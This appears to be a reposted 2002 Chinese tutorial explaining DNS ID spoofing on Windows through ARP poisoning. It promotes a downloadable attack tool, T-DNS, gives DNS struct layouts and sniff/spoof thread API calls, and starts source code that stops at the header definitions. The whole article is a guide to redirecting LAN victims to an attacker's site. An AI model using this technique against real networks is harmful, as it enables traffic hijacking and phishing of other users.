网络通信 频道

Windows下DNS ID欺骗的原理与实现

Windows下DNS ID欺骗的原理与实现
  
  Author: TOo2y [原创]
  E-mail: TOo2y@safechina.net
  Homepage: www.safechina.net
  Date: 11-03-2002
  
  注:
  本文相关程序 T-DNS 支持对局域网内任意主机发起DNS ID欺骗攻击,使其所访问的任何网站均被指向一个您自定义的WEB服务器,如您自己的个人主页。您可以在中华安全网(SafeChina)下载此软件。
  下载链接:< http://www.safechina.net/download/click.php?type=本站原创&id=1038791088 >
  
  域名系统(DNS)是一种用于TCP/IP应用程序的分布式数据库,它提供主机名字和IP地址之间的转换信息。通常,网络用户通过UDP协议DNS服务器进行通信,而服务器在特定的53端口监听,并返回用户所需的相关信息。
  
  一> DNS协议的相关数据结构
  DNS数据报:
  typedef struct dns
  {
  unsigned short id;
  //标识,通过它客户端可以将DNS的请求与应答相匹配;
  unsigned short flags;
  //标志:[QR | opcode | AA| TC| RD| RA | zero | rcode ]
  unsigned short quests;
  //问题数目;
  unsigned short answers;
  //资源记录数目;
  unsigned short author;
  //授权资源记录数目;
  unsigned short addition;
  //额外资源记录数目;
  }DNS,*PDNS;
  在16位的标志中:QR位判断是查询/响应报文,opcode区别查询类型,AA判断是否为授权回答,TC判断是否可截断,RD判断是否期望递归查询,RA判断是否为可用递归,zero必须为0,rcode为返回码字段。
  
  DNS查询数据报:
  typedef struct query
  {
  unsinged char *name;
  //查询的域名,这是一个大小在0到63之间的字符串;
  unsigned short type;
  //查询类型,大约有20个不同的类型
  unsigned short classes;
  //查询类,通常是A类既查询IP地址。
  }QUERY,*PQUERY;
  
  DNS响应数据报:
  typedef struct response
  {
  unsigned short name;
  //查询的域名
  unsigned short type;
  //查询类型
  unsigned short classes;
  //类型码
  unsigned int ttl;
  //生存时间
  unsigned short length;
  //资源数据长度
  unsigned int addr;
  //资源数据
  }RESPONSE,*PRESPONSE;
  
  二> windows下DNS ID欺骗的原理
  我们可以看到,在DNS数据报头部的id(标识)是用来匹配响应和请求数据报的。现在,让我们来看看域名解析的整个过程。客户端首先以特定的标识向DNS服务器发送域名查询数据报,在DNS服务器查询之后以相同的ID号给客户端发送域名响应数据报。这时客户端会将收到的DNS响应数据报的ID和自己发送的查询数据报ID相比较,如果匹配则表明接收到的正是自己等待的数据报,如果不匹配则丢弃之。
  
  假如我们能够伪装DNS服务器提前向客户端发送响应数据报,那么客户端的DNS缓存里域名所对应的IP就是我们自定义的IP了,同时客户端也就被带到了我们希望的网站。条件只有一个,那就是我们发送的ID匹配的DSN响应数据报在DNS服务器发送的响应数据报之前到达客户端。下图清楚的展现了DNS ID欺骗的过程:
  
  Client <--response--| . . . . . .. . . . . . . . . . DNS Server
  |<--[a.b.c == 112.112.112.112]-- Your Computer
  
  到此,我想大家都知道了DNS ID欺骗的实质了,那么如何才能实现呢?这要分两种情况:
  1. 本地主机与DNS服务器,本地主机与客户端主机均不在同一个局域网内,方法有以下几种:向客户端主机随机发送大量DNS响应数据报,命中率很低;向DNS服务器发起拒绝服务攻击,太粗鲁;BIND漏洞,使用范围比较窄。
  2. 本地主机至少与DNS服务器或客户端主机中的某一台处在同一个局域网内:我们可以通过ARP欺骗来实现可靠而稳定的DNS ID欺骗,下面我们将详细讨论这种情况。
  
  首先我们进行DNS ID欺骗的基础是ARP欺骗,也就是在局域网内同时欺骗网关和客户端主机(也可能是欺骗网关和DNS服务器,或欺骗DNS服务器和客户端主机)。我们以客户端的名义向网关发送ARP响应数据报,不过其中将源MAC地址改为我们自己主机的MAC地址;同时以网关的名义向客户端主机发送ARP响应数据报,同样将源MAC地址改为我们自己主机的MAC地址。这样以来,网关看来客户端的MAC地址就是我们主机的MAC地址;客户端也认为网关的MAC地址为我们主机的MAC地址。由于在局域网内数据报的传送是建立在MAC地址之上了,所以网关和客户端之间的数据流通必须先通过本地主机。详细介绍请参见《详谈调用WinPCap驱动写Arp多功能工具》。
  
  在监视网关和客户端主机之间的数据报时,如果发现了客户端发送的DNS查询数据报(目的端口为53),那么我们可以提前将自己构造的DNS响应数据报发送到客户端。注意,我们必须提取有客户端发送来的DNS查询数据报的ID信息,因为客户端是通过它来进行匹配认证的,这就是一个我们可以利用的DNS漏洞。这样客户端会先收到我们发送的DNS响应数据报并访问我们自定义的网站,虽然客户端也会收到DNS服务器的响应报文,不过已经来不及了,哈哈。
  
  三> 核心代码分析
  主程序创建两个线程,一个线程进行实时的ARP欺骗,另一个线程监听接收到的数据报,若发现有域名服务查询数据报,则立即向客户端发送自定义的DSN响应数据报。测试环境:Windows2000 + VC6.0 + Winpcap_3.0_alpha,注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1。
  1.sniff线程:
  PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS);
  //将网卡设置为混杂模式
  PacketSetBuff(lpadapter,500*1024);
  //设置网络适配器的内核缓存;
  PacketSetReadTimeout(lpadapter,1);
  //设置等待时间;
  PacketReceivePacket(lpadapter,lppacketr,TRUE);
  //接收网络数据报;
  checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
  //计算校验和;
  PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));
  //初始化一个_PACKET结构,发送DNS响应数据报;
  
  2.arpspoof线程;
  PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
  //初始化ARP响应数据报;
  PacketSendPacket(lpadapter,lppackets,TRUE);
  //发送ARP欺骗的响应数据报;
  
  3.getmac()函数
  GetAdaptersInfo(padapterinfo,&adapterinfosize);
  //获取网络适配器的属性;
  SendARP(destip,0,pulmac,&ullen);
  //发送ARP请求数据报,过去网络主机的MAC地址;
  
  4.main()函数
  PacketGetAdapterNames((char *)adaptername,&adapterlength);
  //获得本地主机的网络适配器列表和描述;
  lpadapter=PacketOpenAdapter(adapterlist[open-1]);
  //打开指定的网络适配器;
  CreateThread(NULL,0,sniff,NULL,0,&threadrid);
  CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
  //创建两个线程;
  WaitForMultipleObjects(2,thread,FALSE,INFINITE);
  //等待其中的某个线程结束;
  
  四> 小结与后记
  局域网内的网络安全是一个值得大家关注的问题,往往容易发起各种欺骗攻击,这是局域网自身的属性所决定的--网络共享。本文所讲解的DNS ID欺骗是基于ARP欺骗之上的网络攻击,如果在广域网上,则比较麻烦。不过也有一些例外情况:如果IE中使用代理服务器,欺骗不能进行,因为这时客户端并不会在本地进行域名请求;如果你访问的不是网站主页,而是相关子目录的文件,这样你在自定义的网站上不会找到相关的文件,登陆以失败告终。如果你不幸被欺骗了,先禁用本地连接,然后启用本地连接就可以清除DNS缓存。
  
  五> 附之源代码
  
  #include
  #include
  #include
  
  #define ETH_IP 0x0800
  #define ETH_ARP 0x0806
  #define ARP_REQUEST 0x0001
  #define ARP_REPLY 0x0002
  #define ARP_HARDWARE 0x0001
  #define MAX_NUM_ADAPTER 10
  #define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020
  
  #pragma pack(push,1)
  
  typedef struct ethdr
  {
  unsigned char eh_dst[6];
  unsigned char eh_src[6];
  unsigned short eh_type;
  }ETHDR,*PETHDR;
  
  typedef struct arphdr
  {
  unsigned short arp_hdr;
  unsigned short arp_pro;
  unsigned char arp_hln;
  unsigned char arp_pln;
  unsigned short arp_opt;
  unsigned char arp_sha[6];
  unsigned long arp_spa;
  unsigned char arp_tha[6];
  unsigned long arp_tpa;
  }ARPHDR,*PARPHDR;
  
  typedef struct iphdr
  {
  unsigned char h_lenver;
  unsigned char tos;
  unsigned short total_len;
  unsigned short ident;
  unsigned short frag_and_flags;
  unsigned char ttl;
  unsigned char protocol;
  unsigned short checksum;
  unsigned int sourceip;
  unsigned int destip;
  }

文章转载地址:http://www.cnpaf.net/Class/hack/06101110491710251214.html

0
相关文章